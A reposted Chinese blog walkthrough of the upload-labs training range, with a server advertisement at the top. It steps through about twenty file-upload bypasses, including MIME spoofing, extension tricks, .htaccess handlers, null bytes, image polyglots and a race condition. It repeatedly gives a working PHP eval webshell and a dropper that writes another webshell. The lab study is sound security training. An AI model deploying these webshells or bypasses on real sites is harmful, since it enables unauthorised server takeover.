0


文件上传&upload-labs-master[小通]

在这里插入图片描述

蓝易云高性能服务器

在这里插入图片描述

|

|

|

|

|

🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘

🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘

🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘

🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘

🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘

🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘

|

|

|

|

|

upload-labs-master文件上传靶场

搭建

https://blog.csdn.net/weixin_51075988/article/details/110277974

在这里插入图片描述

第一关js绕过

那么我们第一关就是js绕过

js绕过理解为前端绕过

首先我们制作一个木马

<?php @eval($_POST['shell']);?>

前端js绕过非常好绕过

只要我们绕过了浏览器就可以了

我们可以看看他让什么格式后缀的过去

在这里插入图片描述

我们去上传php后缀的文件是不可以的

他运行jpg格式的和png的

那么我们就将php改成jpg然后我们在通过抓包工具

抓取数据包然后把后缀改为php

在这里插入图片描述

改成php

在这里插入图片描述

然后我们点击F12

在这里插入图片描述

右键这个图片地址

然后去访问这个地址

在这里插入图片描述

复制然后访问

在这里插入图片描述

我们发现当访问的时候

他没有继续异常报错什么的

说明成功上传了

那么我们现在就要验证能不能连接上去

用菜刀

在这里插入图片描述

是php格式的一句话木马

在这里插入图片描述

连接成功

第二关Conten-Type绕过

这个可以说是类型上的绕过

这个也非常简单

我们写一个php一句话木马

<?php @eval($_POST['shell']);?>

直接上传然后通过抓包软件抓取数据包

在这里插入图片描述

那么我们把这个类型改成

一个图片的类型

image/jpeg

在这里插入图片描述

然后放行

我们会发现这有一条线的东西

那么这个就是我们上传上去的一句话木马

在这里插入图片描述

我们一样是复制连接然后访问看看有没有报错什么的

在这里插入图片描述

正常

连接一下

在这里插入图片描述

连接成功

在这里插入图片描述

第三关黑名单绕过

在第三关呢有两种绕过的办法

我们看看他的代码

$is_upload=false;$msg=null;if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$deny_ext=array('.asp','.aspx','.php','.jsp');$file_name=trim($_FILES['upload_file']['name']);$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,'.');$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//收尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES['upload_file']['tmp_name'];$img_path=UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg='上传出错!';}}else{$msg='不允许上传.asp,.aspx,.php,.jsp后缀文件!';}}else{$msg=UPLOAD_PATH.'文件夹不存在,请手工创建!';}}

他这个显示不允许后缀为asp和aspx和php和jsp为后缀的文件

那么我们先用第一个方法

就是后缀变异法

我们可以看见他是不允许php文件

但是他没有说不允许php4,php5的后缀文件

所有我们只需要把后缀文件改为php4或者php5就可以了

但是我们要设置一些东西

我们懂这个办法就可以了

第四关htaccess绕过(解析器执行)

我们看看第四关的代码

$is_upload=false;$msg=null;if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name=trim($_FILES['upload_file']['name']);$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,'.');$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//收尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES['upload_file']['tmp_name'];$img_path=UPLOAD_PATH.'/'.$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg='上传出错!';}}else{$msg='此文件不允许上传!';}}else{$msg=UPLOAD_PATH.'文件夹不存在,请手工创建!';}}

我们发现他这过滤了非常非常多的东西

那么我们这就用到htaccess解析器绕过

原理是这样的

就是我们上传解析器

这个解析器的任务是把1.jpg的这个照片重命名为1.php

那么我们上传完这个解析器后

我们就把1.php的木马改成1.jpg

那么他这里是可以上传1.jpg的

那么当我们把1.jpg上传后,里面的解析器就会把我们的1.jpg再改回1.php这样就可以了

解析器代码

<FilesMatch "1.jpg">
SetHandler application/x-http-php
</FilesMatch>
后缀要是htaccess

我们再制作木马文件

<?php @eval($_POST['shell']);?>

我们先上传解析器

在这里插入图片描述

然后再上传1.jpg

就欧克了

我就就不改配置了你要知道有这个办法就可以了

第五关(点空格点)绕过

第五关

我们通过抓包工具在php后面加上点空格点

就可以绕过了

在这里插入图片描述

放行

在这里插入图片描述

在这里插入图片描述

正确情况下后面这是有一个点的

在这里插入图片描述

在这里插入图片描述

第六关大小写绕过

这关只需要把后缀为php改成PhP就可以了

在这里插入图片描述

第七关空格绕过

这个也非常简单

我们制作一个木马

<?php
    @eval($_POST['shell']);?>

正常抓包

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

正常回显

在这里插入图片描述

第八关|点空格点|点空格|点|三种绕过

第一种点空格点

在这里插入图片描述

第二种点空格

在这里插入图片描述

第三种点

在这里插入图片描述

在这里插入图片描述

第九关::$DATA绕过

::$DATA

在这里插入图片描述

在这里插入图片描述

我们访问的时候是这样的

在这里插入图片描述

这样是不行的

我们必须把把后面的::$DATA去掉

在这里插入图片描述

在这里插入图片描述

第十关点空格点绕过

在这里插入图片描述

在这里插入图片描述

第十一关双写绕过

双写绕过非常简单

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

第十二关%00[百分之零零]绕过

在这里插入图片描述

在这里插入图片描述

我们访问验证一下

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

第十三关%00再继续url编码绕过

一开始我们抓取的数据包是这样的

在这里插入图片描述

那么我们进行改一下

在这里插入图片描述

添加一个1.php%00

那么我们这个%00要进行url编码

选中%00右键

在这里插入图片描述

编码完后%00他会消失掉

在这里插入图片描述

那么我们还需要把下面的1.php改成1.jpg

在这里插入图片描述

然后放行

在这里插入图片描述

在这里插入图片描述

去掉这部分

在这里插入图片描述

用菜刀连接一下

在这里插入图片描述

第十四关文件包含绕过【跳过】

首先准备一张图片和一个一句话木马

然后在外面当前目录下打开cmd

在这里插入图片描述

copy n.jpg/b + 1.php/a 1.jpg

那么这是什么意思呢

copy 你准备的图片名称/b + 你的一句话木马/a 你要生成的图片名称

在这里插入图片描述

这个就是我们生成的一句话木马图片

我们现在把一句话木马图片上传上去

https://blog.csdn.net/weixin_43571641/article/details/83868668

第十五关文件包含漏洞【跳过】

第十六关需要改一下东西【跳过】

https://blog.csdn.net/qq_44133136/article/details/109208174

第十七关二次宣染传【跳过】

二次渲染的话

就是你一开始上传了一下图片上去

这张图片是没有木马的

上传上去后再下载下来

下载下来后呢

用进制工具打开这张图片

将下载的那种和原来的那种进行对比看看哪些没有改变的

因为用到网站他是会重新去构造你的图片

就是你看起来图片一样的但是他里面的构造发现了变化

在这里插入图片描述

将两个图片进行对比找到一个没有改变的地方然后插入一句话木马

然后再将改完的上传上去就可以了

就可以了

那么我们要选择gif后缀的图片来做这个实验

第十八关条件竞争

这关是条件竞争

我先说一下原理

首先我们当我们上传一个一句话php

有会在服务器停留一段时间然后才会被识别删除的

这时间大概就1秒左右

那么他能够停留1秒左右那么我们就可以利用这一个条件来生成一个木马文件

<?php $file=fopen('2.php','w+');fwrite($file,'<?php @eval($_POST[shell]);?>');fclose($file);?>

这个代码是这样的

这个代码写在1.php文件中

那么当我们上传后这个1.php就会停留一秒左右

那么我们就可以在他删除之前访问这个1.php

当我们访问的时候

就会激发里面的源代码

源代码的功能就是生成一个2.php

然后2.php里面写入一个一句话木马

在这里插入图片描述

抓包发生的int中

添加一个循环变量

在这里插入图片描述

在这里插入图片描述

那么我们回到proxy

在这里插入图片描述

点击这个int

然后我们访问1.php的链接

在这里插入图片描述

把数据包发送到int

设置一个循环访问变量

在这里插入图片描述

然后就开始跑

两个一起跑

先跑上传数据包的

然后跑访问1.php的

在这里插入图片描述

那么方法就是这个

但是我们实验没有成功

如果实验成功会生成一个2.php的一句话木马

第十九关这关也是条件竞争

这个和上面是一样的

https://blog.csdn.net/Thunderclap_/article/details/108948611

第二十关点绕过

在这里插入图片描述

后面加多一个点可以了

第二十一关斜杠绕过

在这里插入图片描述

改包

复制一份

粘贴

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

标签: php web安全 安全

本文转载自: https://blog.csdn.net/weixin_54882883/article/details/124968227
版权归原作者 无聊的知识 所有, 如有侵权,请联系我们删除。

“文件上传&upload-labs-master[小通]”的评论:

还没有评论